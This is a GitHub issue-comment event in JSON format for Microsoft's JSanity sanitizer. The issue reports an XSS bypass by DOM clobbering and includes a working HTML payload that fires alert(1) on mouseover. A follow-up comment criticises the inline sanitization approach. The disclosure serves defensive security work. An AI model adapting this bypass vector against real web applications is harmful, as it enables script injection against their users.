{"action":"created","issue":{"url":"https://api.github.com/repos/Microsoft/JSanity/issues/7","labels_url":"https://api.github.com/repos/Microsoft/JSanity/issues/7/labels{/name}","comments_url":"https://api.github.com/repos/Microsoft/JSanity/issues/7/comments","events_url":"https://api.github.com/repos/Microsoft/JSanity/issues/7/events","html_url":"https://github.com/Microsoft/JSanity/issues/7","id":115320471,"number":7,"title":"XSS bypass by DOM Clobbering","user":{"login":"irsdl","id":1798313,"avatar_url":"https://avatars.githubusercontent.com/u/1798313?v=3","gravatar_id":"","url":"https://api.github.com/users/irsdl","html_url":"https://github.com/irsdl","followers_url":"https://api.github.com/users/irsdl/followers","following_url":"https://api.github.com/users/irsdl/following{/other_user}","gists_url":"https://api.github.com/users/irsdl/gists{/gist_id}","starred_url":"https://api.github.com/users/irsdl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/irsdl/subscriptions","organizations_url":"https://api.github.com/users/irsdl/orgs","repos_url":"https://api.github.com/users/irsdl/repos","events_url":"https://api.github.com/users/irsdl/events{/privacy}","received_events_url":"https://api.github.com/users/irsdl/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":4,"created_at":"2015-11-05T16:25:25Z","updated_at":"2015-11-06T14:37:08Z","closed_at":null,"body":"Here is the vector:\r\n```\r\n<form name=\"body\" onmouseover=\"alert(1)\" style=\"height:800px\"><fieldset name=\"attributes\"><form></form><form name=\"parentNode\"><img id=\"attributes\"></form></fieldset></form>\r\n```\r\nsome more vectors can be seen here: http://www.thespanner.co.uk/2012/06/05/jslr/\r\n\r\nThe above payload was by @cgvwzq – Pepe Vila to bypass JSLR (Gareth Heyes' old toy)"},"comment":{"url":"https://api.github.com/repos/Microsoft/JSanity/issues/comments/154425305","html_url":"https://github.com/Microsoft/JSanity/issues/7#issuecomment-154425305","issue_url":"https://api.github.com/repos/Microsoft/JSanity/issues/7","id":154425305,"user":{"login":"koto","id":128171,"avatar_url":"https://avatars.githubusercontent.com/u/128171?v=3","gravatar_id":"","url":"https://api.github.com/users/koto","html_url":"https://github.com/koto","followers_url":"https://api.github.com/users/koto/followers","following_url":"https://api.github.com/users/koto/following{/other_user}","gists_url":"https://api.github.com/users/koto/gists{/gist_id}","starred_url":"https://api.github.com/users/koto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/koto/subscriptions","organizations_url":"https://api.github.com/users/koto/orgs","repos_url":"https://api.github.com/users/koto/repos","events_url":"https://api.github.com/users/koto/events{/privacy}","received_events_url":"https://api.github.com/users/koto/received_events","type":"User","site_admin":false},"created_at":"2015-11-06T14:37:08Z","updated_at":"2015-11-06T14:37:08Z","body":"Well, my opinion is that the approach is flawed. You create a document fragment, innerHTML dirty node there, and attempt to sanitize _inline_ (with the TreeWalker), hoping to remove the bad nodes. Any clobbering here will potentially leave the tree in a dirty state, ready to be XSSed, when later on `.innerHTML` read is done. \r\n\r\nInstead, you should create a separate guaranteed-clean tree and one-by-one clone & append only sanitized nodes there. "}}